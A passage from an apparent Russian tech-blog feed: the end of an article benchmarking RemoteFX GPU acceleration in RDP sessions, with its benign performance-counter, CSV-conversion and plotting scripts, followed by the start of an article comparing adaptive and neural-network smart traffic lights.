Затем вJupiter-блокноте при помощи библиотекpandasиmatplotlibпрочитаемcsv (см. Приложение, Jupiter Notebook: импорт) ипостроимграфики (см. Приложение, Jupiter Notebook: одна метрика одна диаграмма).

Анализ результатов и наиболее интересные графики

Задержки при обработке ввода от пользователя

До включения групповых политик сильнее всего на обработке ввода сказалось проигрывание локальных видеофайлов: в среднем 45 мс при рекомендованных 33 мс.

Включение отрисовки через GPU в групповых политиках стабилизировало этот показатель во всех сценариях.

Частота кадров

После включения GPU ускорения ситуация явно становится лучше, особенно в 3D тесте. Результаты двух других тестов хоть и демонстрируют улучшение, но недостаточно: провалы на графиках соответствуют визуальным "рывкам" при просмотре.

Воспроизведение"Flying Through Forest 1"(1920 x 1088, 48072 кбит/с, 9 секунд, 25 fps): от запуска к запуску на вход кодека RеmoteFX поступало либо повышенное либо пониженное количество кадров. Возможно, причина в перекодировке из формата QuickTime, "лишних" 8 пикселях ширины кадра или битрейте.

"Коста-Рика"также вызвал "проседание" FPS у RemoteFX: его проигрывание в браузере в1080p60ложилось на центральный процессор. Возможно, он просто не успевал перекодировать из 60fps и подготовить нужный кадр для RemoteFX.

Общие сетевые метрики

При включении GPU ускорения происходит рост сетевого трафика, который зависит от сценария теста.

Видно, что самым тяжёлым для кодека RemoteFX опять оказался тот же самый видеофайл,"Flying Through Forest 1". Первый запуск этого теста, когда наблюдается провал входящих кадров, также видим скачки трафика до 60 Мбит/с и потери до 30% - 40%.

Загрузка центрального процессора

Включение GPU ускорения практически вдвое разгружает центральный процессор, за исключением youtube-теста. И даже здесь удалось уйти от периодической 100% загрузки.

Загрузка видеокарты

Возможно, разгадка странного поведения второго ролика кроется в графике 17: входящих для RemoteFX кадров было больше, когда видеокарта была больше загружена кодированием.

Выводы

В RDP протоколе частота кадров ограничена 30-ю кадрами в секунду. Со стороны сервера увеличить лимит FPSможно, но бессмысленно: на практике терминальная сессия перестала отрисовывать окно и реагировать на действия как раз при проигрывании"того самого"видеофайла :).

Итоги в цифрах:

  1. Частота кадров стабилизируется почти на максимально возможном для протокола уровне: 29-30 FPS в среднем вместо 25 или даже 15 FPS

  2. Отзывчивость удалённого рабочего стола также стабилизируется, при этом возрастая в несколько раз

  3. Заметно, на 20-50 %, разгружается центральный процессор

  4. Немного возрастает утилизация канала связи, на 3-6 Мбит/сек

  5. Утилизация GPU составила до 20%

Результат действительно очень хороший: RemoteFX значительно увеличивает качество работы в терминальной сессии плавность отрисовки окна и отклик на действия пользователя сравнимы с локальным режимом. Даже "тяжёлые" сценарии показывают в этом плане заметный прирост.

Тесты, конечно, носят искусственный характер: выбором способа нагрузки на кодек RemoteFX можно как "завалить" так и "подтянуть" его результаты. Возможно, более релевантным было бы проведение чего-то вроде "конфетти-теста",например, такого.

Что дальше

Так как на этом этапе тесты проводились для одной сессии и при включении лишь рекомендованных настроек, то далее имеет смысл протестировать производительность:

  • при одновременной работе нескольких пользователей

  • при включении в групповых политиках различных дополнительных настроек кодека

Список источников

Приложения

Переопределение групп сбора данных: _1_task_define.cmd
@echo offsetlocal EnableDelayedExpansion@REM для сбора используются счётчики, перечисленные в _1_counters.cfg@REM счётчики называются только на английском, на русском это просто описание@REM @REM запуск сбора данных:@REM    при каждом входе на удалённый рабочий стол исправить _1_counters.cfg:@REM    1)  посмотреть номер своей терминальной сессии консольной командой@REM        query session@REM    @REM    2)  вписать этот номер в _1_counters.cfg, например, RDP-Tcp 9@REM    @REM    3)  перерегистрировать сброщик запуском данного файла@REM @REM    4)  замер производительности производится запуском _2_task_run_X.cmd и длится 2 минуты@REM @REM удаление старого сборщика данныхlogman delete -n RemoteFX_1logman delete -n RemoteFX_2logman delete -n RemoteFX_3logman delete -n RemoteFX_4logman delete -n RemoteFX_5for /F "usebackq delims= " %%a IN (`query session ^| find "Administrator"`) DO (    set "x=%%a"    set "x=!x:~9,10!"    echo !x!    type NUL>_1_counters.cfg    echo ^\NVIDIA GPU^(^*^)^\%% Video Decoder Usage>>_1_counters.cfg    echo ^\NVIDIA GPU^(^*^)^\%% Video Encoder Usage>>_1_counters.cfg    echo ^\NVIDIA GPU^(^*^)^\%% GPU Memory Usage>>_1_counters.cfg    echo ^\NVIDIA GPU^(^*^)^\%% GPU Usage>>_1_counters.cfg    echo.>>_1_counters.cfg    echo ^\Processor Information^(_Total^)^\%% Processor Time>>_1_counters.cfg    echo.>>_1_counters.cfg    echo ^\RemoteFX Network^(RDP-Tcp !x!^)^\Loss Rate>>_1_counters.cfg    echo ^\RemoteFX Network^(RDP-Tcp !x!^)^\Current TCP Bandwidth>>_1_counters.cfg    echo ^\RemoteFX Network^(RDP-Tcp !x!^)^\Current UDP Bandwidth>>_1_counters.cfg    echo.>>_1_counters.cfg    echo ^\RemoteFX Network^(RDP-Tcp !x!^)^\Total Sent Rate>>_1_counters.cfg    echo ^\RemoteFX Network^(RDP-Tcp !x!^)^\TCP Sent Rate>>_1_counters.cfg    echo ^\RemoteFX Network^(RDP-Tcp !x!^)^\UDP Sent Rate>>_1_counters.cfg    echo.>>_1_counters.cfg    echo ^\RemoteFX Network^(RDP-Tcp !x!^)^\Total Received Rate>>_1_counters.cfg    echo ^\RemoteFX Network^(RDP-Tcp !x!^)^\TCP Received Rate>>_1_counters.cfg    echo ^\RemoteFX Network^(RDP-Tcp !x!^)^\UDP Received Rate>>_1_counters.cfg    echo.>>_1_counters.cfg    echo ^\RemoteFX Graphics^(^*^)^\Output Frames/Second>>_1_counters.cfg    echo ^\RemoteFX Graphics^(^*^)^\Input Frames/Second>>_1_counters.cfg    echo.>>_1_counters.cfg    echo ^\RemoteFX Graphics^(^*^)^\Frames Skipped/Second - Insufficient Server Resources>>_1_counters.cfg    echo ^\RemoteFX Graphics^(^*^)^\Frames Skipped/Second - Insufficient Network Resources>>_1_counters.cfg    echo ^\RemoteFX Graphics^(^*^)^\Frames Skipped/Second - Insufficient Client Resources>>_1_counters.cfg    echo ^\RemoteFX Graphics^(^*^)^\Frame Quality>>_1_counters.cfg    echo ^\RemoteFX Graphics^(^*^)^\Average Encoding Time>>_1_counters.cfg    echo ^\User Input Delay per Session^(Max^)^\Max Input Delay>>_1_counters.cfg    echo.>>_1_counters.cfg    echo ^\RemoteFX Graphics^(^*^)^\Graphics Compression ratio>>_1_counters.cfg    echo ^\NVIDIA GPU^(^*^)^\%% FB Usage>>_1_counters.cfg    @REM счётчик памяти не работает, сброс кэша счётчиков также не помог    @REM    https://docs.microsoft.com/ru-ru/troubleshoot/windows-server/performance/manually-rebuild-performance-counters    echo ^\Memory^\%% Committed Bytes In Use>>_1_counters.cfg    echo ^\Memory^\Available Bytes>>_1_counters.cfg)@REM и регистрация нового сборщикаlogman create counter -n RemoteFX_1 -f bin -max 10 -si 00:00:01 -rf 00:02:00 --v -o "%~dp0logs\test #1 void GPO X" -cf "%~dp0_1_counters.cfg"logman create counter -n RemoteFX_2 -f bin -max 10 -si 00:00:01 -rf 00:02:00 --v -o "%~dp0logs\test #2 3D GPO X" -cf "%~dp0_1_counters.cfg"logman create counter -n RemoteFX_3 -f bin -max 10 -si 00:00:01 -rf 00:02:00 --v -o "%~dp0logs\test #3 wmp GPO X" -cf "%~dp0_1_counters.cfg"logman create counter -n RemoteFX_4 -f bin -max 10 -si 00:00:01 -rf 00:02:00 --v -o "%~dp0logs\test #4 youtube GPO X" -cf "%~dp0_1_counters.cfg"logman create counter -n RemoteFX_5 -f bin -max 10 -si 00:00:01 -rf 00:02:00 --v -o "%~dp0logs\test #5 webGL GPO X" -cf "%~dp0_1_counters.cfg"@REM pause@REM exit
Принудительная остановка записи данных: _1_task_breake.cmd
@REM запускаем сбор данныхlogman stop RemoteFX_1logman stop RemoteFX_2logman stop RemoteFX_3logman stop RemoteFX_4logman stop RemoteFX_5
Конвертация двоичных данных в CSV: blg2csv.cmd
@echo off@REM смена кодировки нужна для powershell-скрипта "%~dpn0.ps1"chcp 65001@REM работаем в текущей папке скриптаcd "%~dp0logs"@REM включаем расширения для переопределения переменных в циклеsetlocal EnableDelayedExpansion@REM цикл по двоичным файлам мониторингаFOR /F "usebackq delims=." %%a IN (`dir *.blg /b`) DO (    set "blg=%%a.blg"    set "csv=%%a.csv"    @REM convert binary to csv    relog "!blg!" -f csv -o "!csv!" -y)@REM имена cmd и powershell скриптов должны совпадатьstart "%~dpn0.ps1" /WAIT /B pwsh.exe -Command "& {%~dpn0.ps1 -en:$False}"@REM справка reglog - утилиты работы с журналами производительности@REM https://docs.microsoft.com/ru-ru/windows-server/administration/windows-commands/relog
Нормализация заголовков CSV: blg2csv.ps1

Заголовки столбцов содержат различные уникальные данные (id терминальной сессии или оборудования), которые будут несовпадать из-за применения групповых политик и выхода-входа на терминальный сервер. Приводим к единому виду с помощью PowerShell-скрипта:

[CmdletBinding()]param (    [switch] $en       = $False  # substitute ru alias of counters by real en name)$WorkDir = $MyInvocation.MyCommand.Definition | Split-Path -Parent$LogsDir = Join-Path -Path $WorkDir -ChildPath 'logs'$EncodeFrom = [System.Text.Encoding]::GetEncoding(1251)$EncodeTo = New-Object System.Text.UTF8Encoding $False$names = @(    New-Object psobject -Property @{ 'ru' = 'Задержка ввода данных пользователем на сеанс(Max)\Максимальная задержка ввода' ; 'en' = 'User Input Delay per Session\Max Input Delay'}    New-Object psobject -Property @{ 'ru' = 'Графика RemoteFX\Входящих кадров в секунду' ; 'en' = 'RemoteFX Graphics\Input Frames/Second'}    New-Object psobject -Property @{ 'ru' = 'Графика RemoteFX\Исходящих кадров в секунду' ; 'en' = 'RemoteFX Graphics\Output Frames/Second'}    New-Object psobject -Property @{ 'ru' = 'Графика RemoteFX\Среднее время кодирования' ; 'en' = 'RemoteFX Graphics\Average Encoding Time'}    New-Object psobject -Property @{ 'ru' = 'Графика RemoteFX\Качество кадра' ; 'en' = 'RemoteFX Graphics\Frame Quality'}    New-Object psobject -Property @{ 'ru' = 'Графика RemoteFX\Коэффициент сжатия графических данных' ; 'en' = 'RemoteFX Graphics\Graphics Compression ratio'}    New-Object psobject -Property @{ 'ru' = 'Сеть RemoteFX\Общая скорость отправки' ; 'en' = 'RemoteFX Network\Total Sent Rate'}    New-Object psobject -Property @{ 'ru' = 'Сеть RemoteFX\Общая скорость приема' ; 'en' = 'RemoteFX Network\Total Received Rate'}    New-Object psobject -Property @{ 'ru' = 'Сеть RemoteFX\Потери' ; 'en' = 'RemoteFX Network\Loss Rate'}    New-Object psobject -Property @{ 'ru' = 'Графика RemoteFX\Пропущено кадров в секунду  недостаточно сетевых ресурсов' ; 'en' = 'RemoteFX Graphics\Frames Skipped/Second - Insufficient Network Resources'}    New-Object psobject -Property @{ 'ru' = 'Графика RemoteFX\Пропущено кадров в секунду  у сервера недостаточно ресурсов' ; 'en' = 'RemoteFX Graphics\Frames Skipped/Second - Insufficient Server Resources'}    New-Object psobject -Property @{ 'ru' = 'Графика RemoteFX\Пропущено кадров в секунду  у клиента недостаточно ресурсов' ; 'en' = 'RemoteFX Graphics\Frames Skipped/Second - Insufficient Client Resources'}    New-Object psobject -Property @{ 'ru' = 'Сведения о процессоре(_Total)\% загруженности процессора' ; 'en' = 'Processor Information(_Total)\% Processor Time'}    New-Object psobject -Property @{ 'ru' = 'NVIDIA GPU\% GPU Usage' ; 'en' = 'NVIDIA GPU\% GPU Usage'}    New-Object psobject -Property @{ 'ru' = 'NVIDIA GPU\% GPU Memory Usage' ; 'en' = 'NVIDIA GPU\% GPU Memory Usage'}    New-Object psobject -Property @{ 'ru' = 'NVIDIA GPU\% Video Decoder Usage' ; 'en' = 'NVIDIA GPU\% Video Decoder Usage'}    New-Object psobject -Property @{ 'ru' = 'NVIDIA GPU\% Video Encoder Usage' ; 'en' = 'NVIDIA GPU\% Video Encoder Usage'}    New-Object psobject -Property @{ 'ru' = 'NVIDIA GPU\% FB Usage' ; 'en' = 'NVIDIA GPU\% FB Usage'}    New-Object psobject -Property @{ 'ru' = 'Сеть RemoteFX\Пропускная способность текущего UDP-подключения' ; 'en' = 'RemoteFX Network\Current UDP Bandwidth'}    New-Object psobject -Property @{ 'ru' = 'Сеть RemoteFX\Пропускная способность текущего TCP-подключения' ; 'en' = 'RemoteFX Network\Current TCP Bandwidth'}    New-Object psobject -Property @{ 'ru' = 'Сеть RemoteFX\Скорость отправки UDP-данных' ; 'en' = 'RemoteFX Network\UDP Sent Rate'}    New-Object psobject -Property @{ 'ru' = 'Сеть RemoteFX\Скорость получения UDP-данных' ; 'en' = 'RemoteFX Network\UDP Received Rate'}    New-Object psobject -Property @{ 'ru' = 'Сеть RemoteFX\Скорость отправки TCP-данных' ; 'en' = 'RemoteFX Network\TCP Sent Rate'}    New-Object psobject -Property @{ 'ru' = 'Сеть RemoteFX\Скорость получения TCP-данных' ; 'en' = 'RemoteFX Network\TCP Received Rate'})$Heads = @()foreach ($f in Get-ChildItem -Path $LogsDir -File -Filter '*.csv'){    $FileContent = $f | Get-Content -Encoding $EncodeFrom    $HeadOrig = $FileContent[0]    # приводим заголовки к единому виду, убираем ненужное    # "\\TESTGPU\NVIDIA GPU(#0 GRID M60-1Q (id=1, NVAPI ID=513))\% GPU Memory Usage"    if ($HeadOrig -match '.*(?<hostname>\\\\[a-zA-Z0-9]*\\).*')    {        $HeadOrig = $HeadOrig.Replace($Matches['hostname'], '')    }    if ($HeadOrig -match '.*NVIDIA GPU(?<gpu>\(#[A-Z0-9 ]*-[A-Z0-9]* \(id=[0-9,]* NVAPI ID=[0-9]*\)\))')    {        $HeadOrig = $HeadOrig.Replace($Matches['gpu'], '')    }    # "\\TESTGPU\Графика RemoteFX(RDP-Tcp 55)\Входящих кадров в секунду"    if ($HeadOrig -match '.*(?<session>\(RDP-Tcp[ 0-9]*\)).*')    {        $HeadOrig = $HeadOrig.Replace($Matches['session'], '')    }    # "(PDH-CSV 4.0) (Russia TZ 2 Standard Time)(-180)"    if ($HeadOrig -match '.*(?<time>\(.*\) \(.*Time\)\([0-9 +-]*\))')    {        $HeadOrig = $HeadOrig.Replace($Matches['time'], 'Time')    }    if ($en)    {        $HeadOrig = ($HeadOrig -split '","') -replace '"', ''        foreach ($h in $HeadOrig)        {            if ($h -notin $names.ru) { continue }            $n = $names | Where-Object {$_.ru -eq $h}            $HeadOrig[($HeadOrig.IndexOf($h))] = $n.en  # $h = $n.en не работает        }        $HeadOrig = '"{0}"' -f ($HeadOrig -join '","')    }    $FileContent[0] = $HeadOrig  # перезапись заголовка    $FileContent | Out-File -Encoding $EncodeTo -FilePath $f.FullName    $Heads += $f.Name + $HeadOrig  # сохранение заголовка}# вывод заголовков столбцов в отдельный файл для доп. контроля порядка, названий и т.д.$Heads | Out-File -Encoding $EncodeTo -FilePath (Join-Path -Path $LogsDir -ChildPath 'heads.txt')
Jupiter Notebook: импорт данных
import pandas as pdimport matplotlib.pyplot as pltfrom matplotlib.ticker import EngFormatter  # для вывода форматированных единиц измеренияplt.rcParams['figure.max_open_warning'] = 30  # порог предупреждения при одновременном построении нескольких рисунков%matplotlib inline# импорт данных csv-файловt21 = pd.read_csv('./logs/test #2 3D GPO 1.csv', na_values=' ')t20 = pd.read_csv('./logs/test #2 3D GPO 0.csv', na_values=' ')  # , encoding='cp1251')t31 = pd.read_csv('./logs/test #3 wmp GPO 1.csv', na_values=' ')t30 = pd.read_csv('./logs/test #3 wmp GPO 0.csv', na_values=' ')t31_prev = pd.read_csv('./logs/test #3 wmp GPO 1 anomaly.csv', na_values=' ')t41 = pd.read_csv('./logs/test #4 youtube GPO 1.csv', na_values=' ')t40 = pd.read_csv('./logs/test #4 youtube GPO 0.csv', na_values=' ')# слияние результатов каждого теста: сначала рекомендованные GPO, потом default GPOt2 = pd.concat([t21, t20],           join='inner', axis=1)t3 = pd.concat([t31, t30, t31_prev], join='inner', axis=1)t4 = pd.concat([t41, t40],           join='inner', axis=1)# разные наборы для итерации и рисования в циклеdataframes = [t2, t3, t4]ax_titles = ['test #2: 3D benchmark', 'test #3: play 1080p video', 'test #4: play 1080p youtube video']legend = ['GPU acceleration', 'default', 'GPU, anomaly']img_sx, img_sy = 15, 5  # размеры одного ряда графиковfgs = [  # макет графиков  # yunit ед. изм., ylabel метка Y-оси, ydata колонка из датафрейма    {'yunit': 'ms',     'ylabel': 'Input Delay',            'ydata': 'Задержка ввода данных пользователем на сеанс(Max)\Максимальная задержка ввода'},    {'yunit': 'fps',    'ylabel': 'RemoteFX input FPS',     'ydata': 'Графика RemoteFX\Входящих кадров в секунду'},    {'yunit': 'fps',    'ylabel': 'RemoteFX output FPS',    'ydata': 'Графика RemoteFX\Исходящих кадров в секунду'},    {'yunit': 'bps',    'ylabel': 'Tx Speed',               'ydata': 'Сеть RemoteFX\Общая скорость отправки'},    {'yunit': 'bps',    'ylabel': 'Rx Speed',               'ydata': 'Сеть RemoteFX\Общая скорость приема'},    {'yunit': '%',      'ylabel': 'Tx / Rx Loss',           'ydata': 'Сеть RemoteFX\Потери'},    {'yunit': '%',      'ylabel': 'CPU Usage',              'ydata': 'Сведения о процессоре(_Total)\% загруженности процессора'},    {'yunit': '%',      'ylabel': 'GPU Usage',              'ydata': 'NVIDIA GPU\% GPU Usage'},    {'yunit': '%',      'ylabel': 'GPU Memory Usage',       'ydata': 'NVIDIA GPU\% GPU Memory Usage'},    {'yunit': '%',      'ylabel': 'GPU Decoder Usage',      'ydata': 'NVIDIA GPU\% Video Decoder Usage'},    {'yunit': '%',      'ylabel': 'GPU Encoder Usage',      'ydata': 'NVIDIA GPU\% Video Encoder Usage'},    {'yunit': 'ms',     'ylabel': 'Encoding Time',          'ydata': 'Графика RemoteFX\Среднее время кодирования'},    {'yunit': '%',      'ylabel': 'Frame Quality',          'ydata': 'Графика RemoteFX\Качество кадра'},    {'yunit': '%',      'ylabel': 'Compression: enc byte / in byte', 'ydata': 'Графика RemoteFX\Коэффициент сжатия графических данных'},    {'yunit': 'fps',    'ylabel': 'FPS Loss by network',    'ydata': 'Графика RemoteFX\Пропущено кадров в секунду  недостаточно сетевых ресурсов'},    {'yunit': 'fps',    'ylabel': 'FPS Loss by server',     'ydata': 'Графика RemoteFX\Пропущено кадров в секунду  у сервера недостаточно ресурсов'},    {'yunit': 'fps',    'ylabel': 'FPS Loss by client',     'ydata': 'Графика RemoteFX\Пропущено кадров в секунду  у клиента недостаточно ресурсов'},    {'yunit': '%',      'ylabel': 'GPU Framebufer Usage',   'ydata': 'NVIDIA GPU\% FB Usage'},    {'yunit': 'bps',    'ylabel': 'Tx Speed UDP',           'ydata': 'Сеть RemoteFX\Скорость отправки UDP-данных'},    {'yunit': 'bps',    'ylabel': 'Rx Speed UDP',           'ydata': 'Сеть RemoteFX\Скорость получения UDP-данных'},    {'yscale': 1000,    'yunit': 'bps', 'ylabel': 'Bandwidth UDP', 'ydata': 'Сеть RemoteFX\Пропускная способность текущего UDP-подключения'},    {'yunit': 'bps',    'ylabel': 'Tx Speed TCP',           'ydata': 'Сеть RemoteFX\Скорость отправки TCP-данных'},    {'yunit': 'bps',    'ylabel': 'Rx Speed TCP',           'ydata': 'Сеть RemoteFX\Скорость получения TCP-данных'},    {'yscale': 1000,    'yunit': 'bps', 'ylabel': 'Bandwidth TCP', 'ydata': 'Сеть RemoteFX\Пропускная способность текущего TCP-подключения'},]
Jupiter Notebook: отрисовка одной метрики на диаграмму
for i in range(len(fgs)):  # сколько метрик, столько рисунков (рядов диаграмм)    fig, axs = plt.subplots(1, 3, figsize=(img_sx, img_sy), sharex='col', sharey='row', gridspec_kw=dict(hspace=0, wspace=0, ))  # width_ratios=[1, 1, 1]    fig_name = fgs[i]['ydata'].split('\\')[1]    fig.suptitle(f'Рис. {i + 1:>2}. {fig_name}', fontsize=14)  #, color='grey')  # имя рисунка    fig.patch.set_facecolor('white')  # фон рисунка белый вместо прозрачного    axs[0].set(ylabel=fgs[i]['ylabel'])  # подпись Y-оси только на первых (левых) графиках из трёх    axs[2].yaxis.set_tick_params(labelleft=False, labelright=True, which='major')  # дублируем значения справа    for ax, d, title in zip(axs, dataframes, ax_titles):  # на каждый тест своя диаграмма        ax.plot(d.index.values, d[fgs[i]['ydata']] * (fgs[i].get('yscale', 1)))  # строим график        ax.set_title(title)  #, color='grey')  # заголовок диаграммы                ax.xaxis.set_tick_params(which='major', labelcolor='grey')  # подписи к X-шкале        ax.xaxis.set_major_formatter(EngFormatter(unit='s'))  # по X секунды        ax.yaxis.set_tick_params(which='major', labelcolor='grey')  # подписи Y-шкале        ax.yaxis.set_major_formatter(EngFormatter(unit=fgs[i]['yunit']))  # по Y у каждого графика своя ед. изм.        # расчёт средних и вывод в легенду диаграммы "на лету"        avg = [EngFormatter(places=0).format_eng(avg * (fgs[i].get('yscale', 1))) for avg in d[fgs[i]['ydata']].mean()]        lgn = [f'avg {m}{fgs[i]["yunit"]}, {l}' for l, m in zip(legend, avg)]        ax.legend(lgn, fontsize=8)  # отображение легенды графика        ax.grid(axis='y')  # горизонтальная сетка        ax.set_xlim(0,119)  # метка "120" засоряла график        if ax == axs[1]:  # выделяем аномалии на средней диаграмме            ax.axvline(x=15, linestyle=":", color='C0')            ax.axvline(x=58, linestyle=":", color='C0')            ax.axvline(x=101, linestyle=":", color='C0')        fig.tight_layout()  # (pad=0.4, w_pad=1.5, h_pad=30.0)
Jupiter Notebook: отрисовка всех метрик на одной диаграмме

Общая ось X на все графики: метрики тестов располагаются строго друг под другом - удобно сопоставлять разные метрики между собой.

# один рисунок  # plt.style.available  # plt.style.use('seaborn-whitegrid')fig, axs = plt.subplots(len(fgs), 3, figsize=(img_sx, img_sy * len(fgs)), sharex='col', sharey='row', gridspec_kw=dict(hspace=0.2, wspace=0))fig.patch.set_facecolor('white')  # фон рисунка белый вместо прозрачного# заголовки только вверху[ax.set_title(title) for ax, title in zip(axs[0], ax_titles)]  # ax.set_title(title, color='grey')for i in range(len(fgs)):    axs[i,0].set(ylabel=fgs[i]['ylabel'])    fig_name = fgs[i]['ydata'].split('\\')[1]    axs[i,1].set(xlabel=f'Рис. {i + 1:>02}. {fig_name}')    # axs[i,1].xaxis.label.set_color('grey')    axs[i,2].yaxis.set_tick_params(labelleft=False, labelright=True, which='major')    for ax, d, title in zip(axs[i], dataframes, ax_titles):        ax.plot(d.index.values, d[fgs[i]['ydata']] * (fgs[i].get('yscale', 1)))        ax.xaxis.set_tick_params(which='major', labelcolor='grey')  # подписи к X-шкале        ax.xaxis.set_major_formatter(EngFormatter(unit='s'))  # по X секунды        ax.yaxis.set_tick_params(which='major', labelcolor='grey')  # подписи Y-шкале        ax.yaxis.set_major_formatter(EngFormatter(unit=fgs[i]['yunit']))  # по Y у каждого графика своя ед. изм.        # расчёт средних и изменение легенды диаграммы "на лету"        avg = [EngFormatter(places=0).format_eng(avg * (fgs[i].get('yscale', 1))) for avg in d[fgs[i]['ydata']].mean()]        lgn = [f'avg {m}{fgs[i]["yunit"]}, {l}' for l, m in zip(legend, avg)]        ax.legend(lgn, fontsize=8)  # отображение легенды графика        ax.grid(axis='y')  # горизонтальная сетка        ax.set_xlim(0,119)  # метка "120" засоряла график        if ax == axs[i,1]:  # выделяем аномалии на средней диаграмме            ax.axvline(x=15, linestyle="--", color='C0')            ax.axvline(x=58, linestyle="--", color='C0')            ax.axvline(x=101, linestyle="--", color='C0')
Диаграмма со всеми графиками

Продолжение истории будет на следующей неделе. Спасибо за внимание!


Что ещё интересного есть в блогеCloud4Y

Частые ошибки в настройках Nginx, из-за которых веб-сервер становится уязвимым

Пароль как крестраж: ещё один способ защитить свои учётные данные

Тим Бернерс-Ли предлагает хранить персональные данные в подах

Подготовка шаблона vApp тестовой среды VMware vCenter + ESXi

Создание группы доступности AlwaysON на основе кластера Failover

Подписывайтесь на нашTelegram-канал, чтобы не пропустить очередную статью. Пишем не чаще двух раз в неделю и только по делу.

Подробнее..

Recovery mode Вы нервно стоите на красный, хотя машин нет. Как сделать светофор умнее а проезжать и загруженные перекрестки быстрее?

19.04.2021 14:06:47 | Автор: admin

От старого Умного перекрестка, который россиянам начали ставить недавно, до самообучающегося.


Здесь есть статья про то, какие типы Умных светофоров бывают, но она описывает устройства прошлого века, поэтому, возможно, будет интересно узнать о технологиях сегодняшних. Итак, типы Умных светофоров, которые уже можно увидеть на перекрестках городов:

Адаптивный работаетна сравнительно простыхперекрестках, где правила и возможности переключения фаз совершенно очевидны.Адаптивное управлениеприменимо лишь там, где нет постоянной загрузки по всем направлениям, иначе ему просто не к чему адаптироваться нет свободных временных окон. Первые перекрестки на адаптивном управлении появились в США в начале 70-х годов прошлого века. К сожалению, до России они дошли только сейчас, их число по некоторым оценкам не превышает 3 000 по стране. (Часто под этим же названием понимаются обычные светофорные объекты, алгоритмы работ которых меняются в зависимости от времени суток и дней недели. С терминологией в Раше пока совсем плохо, здесь мы точно обсуждаем не адаптацию по времени.)

Нейросетевой более высокий уровень регулирования движения автотранспорта. Нейронные сети учитывают сразу массу факторов, которые даже и не всегда очевидны. Их результат основан на самообучении: компьютер в прямом эфире получает данные о пропускной способности и всеми возможными алгоритмами подбирает максимальные значения, чтобы в сумме со всех сторон в комфортном режиме за единицу времени проезжало как можно больше транспортных средств. Как это делается, обычно программисты отвечают не знаем,нейросеть это черный ящик, но мы вам раскроем основные принципы

(Некоторые фирмы, и даже в этом был замечен Яндекс, предлагают ещеГеоинформационные светофоры. Эти декларируют использование GPS и GLONASS навигации для определения ТС общественного автотранспорта, а также спецмашин, чтобы подстраиваться под их беспрепятственное прохождение. Но мы не рассматриваем этот тип умных перекрестков уже потому, что практика показала их несостоятельность. Такое дистанционное планирование постояннонатыкается на резкие изменения в характере движения потоков, в результате чего расчеты все время претерпевают изменения и не согласуются с текущей обстановкой на перекрестке, где важна каждая доля секунды. Пока не будет доказано обратное, мы эту тему не описываем.)

Адаптивные светофорыиспользуют устаревшую технологию подсчета автотранспорта на перекрестках: физические датчики или видеодетектор фона в определенных зонах. Емкостной датчик или индукционная петля видят ТС только в месте установки - на несколько метров, если конечно не потратить миллионы на прокладку их во всю длину проезжей части. Видеодетектор фона показывает лишь заполнение транспортными средствами дорожного полотна относительно этого полотна. Т.е. камера должна четко видеть эту площадь, что достаточно сложно на большом расстоянии из-за перспективы и сильно подвержено атмосферным помехам: даже легкая метель будет диагностироваться как наличие движения автотранспорта фоновый видеодетектор не различает тип детекции.

Справедливости ради надо сказать, чтоадаптивным светофорами не нужны качественные данные о всех параметрах движения, повторим: они работают только в ситуациях, где правила переключения абсолютно очевидны и только на мало загруженных перекрестках.

Нейросетевые светофорыи для распознавания объектов тоже используютнейронные сети,за счет этого они получают более информативную и супер точную картину происходящего. Эти мозги распознают любые образы в их любых положениях и поэтому более точно считают количество транспортных средств, делают это на гораздо большем расстоянии с одной камеры. Кроме этого,нейронные сетиопределяют качественный состав ТС как по типу, так и множеству других параметров. Например, длинная фура и быстрый Ferrari имеют совершенно разную манеру начала движения, что по-разному влияет на алгоритмы умного светофора. Даже постоянно забывающая трогаться на зеленый свет блондинка со знаком У на ТС постепенно включается в коэффициент поправки расчетов.Кроме того,нейронные сетиумеют распознавать и людей, что тоже очень важно ведь пешеходам тоже хочется пройти через дорогу. А такженейросетидиагностируют более сотни других объектов от детской коляски с велосипедами до чемоданов и оружия.

Нейронные сетивообще почти не имеют ограничений по точкам установки, они распознают любые объекты из любых ракурсов в любом виде и при больших перекрытиях часто достаточно видеть лишь 15% автомобиля, чтобы понять, что это автомобиль. Соответственно,нейросетевой светофордешевле в монтажном плане, в количестве видеокамер, длине проводов и прочих монтажных хитростях.

Нельзя не сказать просложность юстировки камер дляадаптивных светофоров, их видеодетектор жестко привязан к виду дорожного полотна. В результате ветров и вибраций от грузового автотранспорта эти видеокамеры постоянно сбиваются со своего обзора и требуют чуть ли не еженедельной подстройки, а это вышка, люди, затраты. И ограничение движения на время работ.Нейросетевые камерыбудут понимать всё происходящее до тех пор, пока хоть как-то видят дорожную обстановку, даже большие смещения для них не критичны.

Разберем подробнее, где и за счет чего эти умные светофоры позволяют повысить пропускную способность:

Пример 1.Прилегающая к трассе второстепенная дорога.

Адаптивный светофор. Прилегающая к трассе второстепенная дорога.Адаптивный светофор. Прилегающая к трассе второстепенная дорога.

Когда проезжает одна машина в час из близлежащей деревеньки, так или иначе, мы обязаны пропустить её. Но для этого нам придется останавливать движение каждые 5 минут она не может ждать час. Если для пешехода достаточно повесить кнопку для включения зеленого, то у автомобиля такой возможности нет.

В этой конфигурации в одинаковой степени подходят оба типа светофоров:адаптивный потому что эта ситуация абсолютно очевидна,нейросетевой потому что он дешевле. (Почему дешевле разберем дальше.)

Кто-то здесь скажет: -Давайте лучше построим разгоночную полосу и светофор вообще не нужен. - Но машинам иногда надо поворачивать налево тогда придется делать и разворотное кольцо. А у нас еще и пешеходы, которые тоже не прочь пересечь трассу им нужно построить под- или надземный переход. Всё это потребует уже десятки миллионов рублей на строительство и миллионы на обслуживание. Поставить и обслуживать два столба с тремя лампочкам и с парой видеокамер цифры на два порядка дешевле. Хотя выбор есть.

Пример 2.Городской перекресток в незагруженное время.

Нейросетевой светофорНейросетевой светофор

В обычных городах мы часто сталкиваемся с ситуацией, когда стоим на красный свет в то время, как в поперечном направлении никого нет. Например, в Иванове час пик бывает только несколько часов в сутки. А ночью и вообще всех нас нервирует никому не нужное ожидание чуть ли не на каждом перекрестке. Зачем мы тратим время и бензин, а также изнашиваем тормозные колодки? Здесь постоянно приходит на ум ненормативный термин - тупой светофор.

Если по какому-то из направлений нет движения или оно быстро закончилось после включения там зеленого сигнала, светофор имеет все предпосылки дать проезд загруженному участку. Но мы стоически ждем своей фазы!

